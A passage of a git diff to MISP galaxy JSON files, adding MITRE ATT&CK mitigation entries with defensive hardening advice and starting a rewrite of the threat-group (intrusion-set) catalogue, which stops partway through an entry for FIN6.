"797312d4-8a84-4daf-9c56-57da4133c322", + "meta": { + "external_id": "T1199" + } + }, + { + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "value": "Sudo Caching Mitigation - T1206", + "uuid": "dbf0186e-722d-4a0a-af6a-b3460f162f84", + "meta": { + "external_id": "T1206" + } + }, + { + "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "value": "Third-party Software Mitigation - T1072", + "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930", + "meta": { + "external_id": "T1072" + } + }, + { + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Video Capture Mitigation - T1125", + "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "meta": { + "external_id": "T1125" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Extra Window Memory Injection Mitigation - T1181", + "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440", + "meta": { + "external_id": "T1181" + } + }, + { + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", + "value": "Install Root Certificate Mitigation - T1130", + "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c", + "meta": { + "external_id": "T1130" + } + }, + { + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts", + "value": "Brute Force Mitigation - T1110", + "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c", + "meta": { + "external_id": "T1110" + } + }, + { + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "value": "Keychain Mitigation - T1142", + "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a", + "meta": { + "external_id": "T1142" + } + }, + { + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Email Collection Mitigation - T1114", + "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "meta": { + "external_id": "T1114" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)", + "value": "BITS Jobs Mitigation - T1197", + "uuid": "cb825b86-3f3b-4686-ba99-44878f5d3173", + "meta": { + "external_id": "T1197" + } + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.", + "value": "Exploitation for Privilege Escalation Mitigation - T1068", + "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502", + "meta": { + "external_id": "T1068" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Remote File Copy Mitigation - T1105", + "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a", + "meta": { + "external_id": "T1105" + } + }, + { + "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities used to invoke execution.", + "value": "Indirect Command Execution Mitigation - T1202", + "uuid": "1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "meta": { + "external_id": "T1202" + } + }, + { + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Exfiltration Over Alternative Protocol Mitigation - T1048", + "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80", + "meta": { + "external_id": "T1048" + } + }, + { + "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.", + "value": "Private Keys Mitigation - T1145", + "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e", + "meta": { + "external_id": "T1145" + } + }, + { + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "value": "Rc.common Mitigation - T1163", + "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482", + "meta": { + "external_id": "T1163" + } + }, + { + "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", + "value": "Access Token Manipulation Mitigation - T1134", + "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "meta": { + "external_id": "T1134" + } + }, + { + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "value": "Hidden Window Mitigation - T1143", + "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "meta": { + "external_id": "T1143" + } + }, + { + "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)", + "value": "Remote Desktop Protocol Mitigation - T1076", + "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6", + "meta": { + "external_id": "T1076" + } + }, + { + "description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to Valid Accounts that may be used to access repositories", + "value": "Data from Information Repositories Mitigation - T1213", + "uuid": "13cad982-35e3-4340-9095-7124b653df4b", + "meta": { + "external_id": "T1213" + } + }, + { + "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Web Service Mitigation - T1102", + "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97", + "meta": { + "external_id": "T1102" + } + }, + { + "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.", + "value": "Input Prompt Mitigation - T1141", + "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "meta": { + "external_id": "T1141" + } + }, + { + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Network Service Scanning Mitigation - T1046", + "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "meta": { + "external_id": "T1046" + } + }, + { + "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "value": "Windows Management Instrumentation Event Subscription Mitigation - T1084", + "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259", + "meta": { + "external_id": "T1084" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Data from Local System Mitigation - T1005", + "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd", + "meta": { + "external_id": "T1005" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Custom Cryptographic Protocol Mitigation - T1024", + "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad", + "meta": { + "external_id": "T1024" + } + }, + { + "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)", + "value": "Credentials in Files Mitigation - T1081", + "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72", + "meta": { + "external_id": "T1081" + } + }, + { + "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", + "value": "Port Knocking Mitigation - T1205", + "uuid": "f6b7c116-0821-4eb7-9b24-62bd09b3e575", + "meta": { + "external_id": "T1205" + } + }, + { + "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "value": "Drive-by Compromise Mitigation - T1189", + "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0", + "meta": { + "external_id": "T1189" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Permission Groups Discovery Mitigation - T1069", + "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987", + "meta": { + "external_id": "T1069" + } + }, + { + "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "value": "Logon Scripts Mitigation - T1037", + "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "meta": { + "external_id": "T1037" + } + }, + { + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", + "value": "Code Signing Mitigation - T1116", + "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "meta": { + "external_id": "T1116" + } + }, + { + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.", + "value": "Hardware Additions Mitigation - T1200", + "uuid": "54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "meta": { + "external_id": "T1200" + } + }, + { + "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)", + "value": "Windows Remote Management Mitigation - T1028", + "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025", + "meta": { + "external_id": "T1028" + } + }, + { + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", + "value": "Web Shell Mitigation - T1100", + "uuid": "bcc91b8c-f104-4710-964e-1d5409666736", + "meta": { + "external_id": "T1100" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelg\u00e4nging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Process Doppelg\u00e4nging Mitigation - T1186", + "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31", + "meta": { + "external_id": "T1186" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Data Obfuscation Mitigation - T1001", + "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", + "meta": { + "external_id": "T1001" + } + }, + { + "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Software Packing Mitigation - T1045", + "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502", + "meta": { + "external_id": "T1045" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Security Software Discovery Mitigation - T1063", + "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae", + "meta": { + "external_id": "T1063" + } + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-enterprise-attack-intrusion-set.json b/clusters/mitre-enterprise-attack-intrusion-set.json index f87847a..6cb9119 100644 --- a/clusters/mitre-enterprise-attack-intrusion-set.json +++ b/clusters/mitre-enterprise-attack-intrusion-set.json @@ -1,971 +1,1180 @@ { - "name": "Enterprise Attack -intrusion Set", - "type": "mitre-enterprise-attack-intrusion-set", - "description": "Name of ATT&CK Group", - "version": 3, - "source": "https://github.com/mitre/cti", - "uuid": "01f18402-1708-11e8-ac1c-1ffb3c4a7775", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)", - "value": "Poseidon Group - G0033", - "meta": { - "synonyms": [ - "Poseidon Group" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0033", - "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" - ] - }, - "uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446" - }, - { - "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", - "value": "Group5 - G0043", - "meta": { - "synonyms": [ - "Group5" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0043", - "https://citizenlab.org/2016/08/group5-syria/" - ] - }, - "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40" - }, - { - "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)", - "value": "PittyTiger - G0011", - "meta": { - "synonyms": [ - "PittyTiger" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0011", - "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" - ] - }, - "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647" - }, - { - "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)", - "value": "admin@338 - G0018", - "meta": { - "synonyms": [ - "admin@338" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0018", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ] - }, - "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756" - }, - { - "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)", - "value": "RTM - G0048", - "meta": { - "synonyms": [ - "RTM" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0048", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" - ] - }, - "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f" - }, - { - "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", - "value": "APT16 - G0023", - "meta": { - "synonyms": [ - "APT16" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0023", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" - ] - }, - "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" - }, - { - "description": "is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev", - "value": "Sowbug - G0054", - "meta": { - "synonyms": [ - "Sowbug" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0054", - "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" - ] - }, - "uuid": "d1acfbb3-647b-4723-9154-800ec119006e" - }, - { - "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)", - "value": "APT28 - G0007", - "meta": { - "synonyms": [ - "APT28", - "Sednit", - "Sofacy", - "Pawn Storm", - "Fancy Bear", - "STRONTIUM", - "Tsar Team", - "Threat Group-4127", - "TG-4127" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0007", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", - "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" - ] - }, - "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" - }, - { - "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", - "value": "Winnti Group - G0044", - "meta": { - "synonyms": [ - "Winnti Group", - "Blackfly" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0044", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://securelist.com/games-are-over/70991/", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" - ] - }, - "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff" - }, - { - "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)", - "value": "Deep Panda - G0009", - "meta": { - "synonyms": [ - "Deep Panda", - "Shell Crew", - "WebMasters", - "KungFu Kittens", - "PinkPanther", - "Black Vine" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0009", - "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" - ] - }, - "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064" - }, - { - "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2", - "value": "Molerats - G0021", - "meta": { - "synonyms": [ - "Molerats", - "Operation Molerats", - "Gaza Cybergang" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0021" - ] - }, - "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411" - }, - { - "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", - "value": "Strider - G0041", - "meta": { - "synonyms": [ - "Strider", - "ProjectSauron" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0041", - "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets", - "https://securelist.com/faq-the-projectsauron-apt/75533/" - ] - }, - "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656" - }, - { - "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)", - "value": "Sandworm Team - G0034", - "meta": { - "synonyms": [ - "Sandworm Team", - "Quedagh" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0034", - "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" - ] - }, - "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192" - }, - { - "description": "FIN6 is a cyber crime group that 